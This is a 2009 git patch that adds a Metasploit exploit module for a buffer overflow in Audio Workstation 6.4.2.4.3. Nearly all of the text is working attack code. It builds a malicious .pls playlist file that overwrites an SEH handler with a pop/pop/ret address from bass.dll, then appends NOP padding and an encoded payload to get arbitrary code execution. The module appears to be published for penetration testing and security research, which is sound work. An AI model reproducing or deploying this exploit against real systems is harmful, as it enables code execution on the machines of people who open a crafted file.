From fc8a2b2a2e4738d6eb7afcb0d032ce33c633eeb4 Mon Sep 17 00:00:00 2001
From: Joshua Drake <github.jdrake@qoop.org>
Date: Thu, 10 Dec 2009 20:46:53 +0000
Subject: [PATCH] add exploit module for audio workstation from dookie

git-svn-id: file:///home/svn/framework3/trunk@7814 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../windows/fileformat/audio_wkstn_pls.rb     | 74 +++++++++++++++++++
 1 file changed, 74 insertions(+)
 create mode 100644 modules/exploits/windows/fileformat/audio_wkstn_pls.rb

diff --git a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb
new file mode 100644
index 0000000000..9f33b40c31
--- /dev/null
+++ b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb
@@ -0,0 +1,74 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::FILEFORMAT
+	include Msf::Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.
+					When opening a malicious pls file with the Audio Workstation, 
+					a remote attacker could overflow a buffer and execute 
+					arbitrary code.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         => [ 'germaya_x', 'dookie', ],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'URL', 'http://www.exploit-db.com/exploits/10353' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'seh',
+				},					
+			'Payload'        =>
+				{
+					'Space'    => 4100,
+					'BadChars' => "\x00",
+					'StackAdjustment' => -3500,
+					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
+					'DisableNops'   =>  'True',
+				},
+			'Platform' => 'win',
+			'Targets'        => 
+				[
+					[ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Dec 08 2009',
+			'DefaultTarget'  => 0))
+		 
+		register_options(
+			[
+				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
+			], self.class)
+
+	end
+
+	def exploit
+
+		sploit = rand_text_alpha_upper(1308)
+		sploit << "\xeb\x16\x90\x90"
+		sploit << [target.ret].pack('V')
+		sploit << make_nops(32)
+		sploit << payload.encoded
+		sploit << rand_text_alpha_upper(4652 - payload.encoded.length)
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+		file_create(sploit)
+
+	end
+
+end